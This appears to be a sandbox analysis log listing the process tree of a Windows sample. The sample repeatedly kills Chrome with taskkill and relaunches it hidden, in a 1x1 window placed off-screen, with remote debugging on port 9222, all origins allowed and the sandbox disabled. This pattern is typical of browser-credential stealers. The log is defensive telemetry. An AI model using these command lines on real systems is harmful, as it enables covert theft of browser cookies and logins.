C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1948,i,6170563870147490161,12297913145548984160,524288 --field-trial-handle=2380,i,11062829713201602544,10366829441803635266,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2848,i,8617282495502014672,7993355531906466492,2097152 --field-trial-handle=2380,i,11062829713201602544,10366829441803635266,262144 --variations-seed-version --mojo-platform-channel-handle=2912 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2852,i,1793032009737812180,11508394288010226,2097152 --field-trial-handle=2380,i,11062829713201602544,10366829441803635266,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4168,i,10190428972166411069,7726631738368989607,524288 --field-trial-handle=2380,i,11062829713201602544,10366829441803635266,262144 --variations-seed-version --mojo-platform-channel-handle=4164 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,11343208154088268274,12139720465190980579,262144 --field-trial-handle=2340,i,7087429224836773535,18254744499943153761,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1684,i,7499728597855558311,17980525202167579489,524288 --field-trial-handle=2340,i,7087429224836773535,18254744499943153761,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1984,i,16694847253160600532,10897800221073383713,524288 --field-trial-handle=2340,i,7087429224836773535,18254744499943153761,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2924,i,16770105976845999677,11811926151404508120,2097152 --field-trial-handle=2340,i,7087429224836773535,18254744499943153761,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2936,i,8925857505595933028,13021635186212946971,2097152 --field-trial-handle=2340,i,7087429224836773535,18254744499943153761,262144 --variations-seed-version --mojo-platform-channel-handle=2952 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4196,i,13639973685956361030,14033488175018220893,524288 --field-trial-handle=2340,i,7087429224836773535,18254744499943153761,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,13313723594159897578,4936021172738919851,262144 --field-trial-handle=2184,i,18326340361914047153,15658346461232435680,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1844,i,10608605262068112174,12656756670786804661,524288 --field-trial-handle=2184,i,18326340361914047153,15658346461232435680,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2080,i,18078029152563783201,2274398703222627134,524288 --field-trial-handle=2184,i,18326340361914047153,15658346461232435680,262144 --variations-seed-version --mojo-platform-channel-handle=2652 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2892,i,12479949651319245656,8865738522169588193,2097152 --field-trial-handle=2184,i,18326340361914047153,15658346461232435680,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2896,i,5482673442737091106,319168037309696540,2097152 --field-trial-handle=2184,i,18326340361914047153,15658346461232435680,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4232,i,7560435952628929205,2099466389513800110,524288 --field-trial-handle=2184,i,18326340361914047153,15658346461232435680,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1608,i,12859519421891169102,3225952699584323660,262144 --field-trial-handle=2376,i,5485897508058582545,7635516810856976067,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,16436631325796101500,9460225110657972188,524288 --field-trial-handle=2376,i,5485897508058582545,7635516810856976067,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1964,i,6202571845744950022,17167602225969873782,524288 --field-trial-handle=2376,i,5485897508058582545,7635516810856976067,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2920,i,17198572660792031655,18374031994213093816,2097152 --field-trial-handle=2376,i,5485897508058582545,7635516810856976067,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2936,i,17709667377506638621,17173443335625429836,2097152 --field-trial-handle=2376,i,5485897508058582545,7635516810856976067,262144 --variations-seed-version --mojo-platform-channel-handle=2948 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4076,i,7790578303408232836,16926951090582214683,524288 --field-trial-handle=2376,i,5485897508058582545,7635516810856976067,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1608,i,9051968430854408499,10778875329407295777,262144 --field-trial-handle=2032,i,5074633595527788847,13642616213378517680,262144 --variations-seed-version --mojo-platform-channel-handle=2028 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,2118835827621701596,4977383351140539242,524288 --field-trial-handle=2032,i,5074633595527788847,13642616213378517680,262144 --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2040,i,7850385033571337229,17052528231291354440,524288 --field-trial-handle=2032,i,5074633595527788847,13642616213378517680,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2908,i,9215393468720623770,3898145919450977082,2097152 --field-trial-handle=2032,i,5074633595527788847,13642616213378517680,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,14978683892292292759,4471836914059874244,2097152 --field-trial-handle=2032,i,5074633595527788847,13642616213378517680,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4220,i,10208922534916179667,6158952435249413351,524288 --field-trial-handle=2032,i,5074633595527788847,13642616213378517680,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,13363572298830094142,8128540438960658091,262144 --field-trial-handle=2024,i,15927376480849760322,12680935333030766606,262144 --variations-seed-version --mojo-platform-channel-handle=1988 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1680,i,793078378173970300,15361180521130295774,524288 --field-trial-handle=2024,i,15927376480849760322,12680935333030766606,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:115⤵
- System Time Discovery
-
-
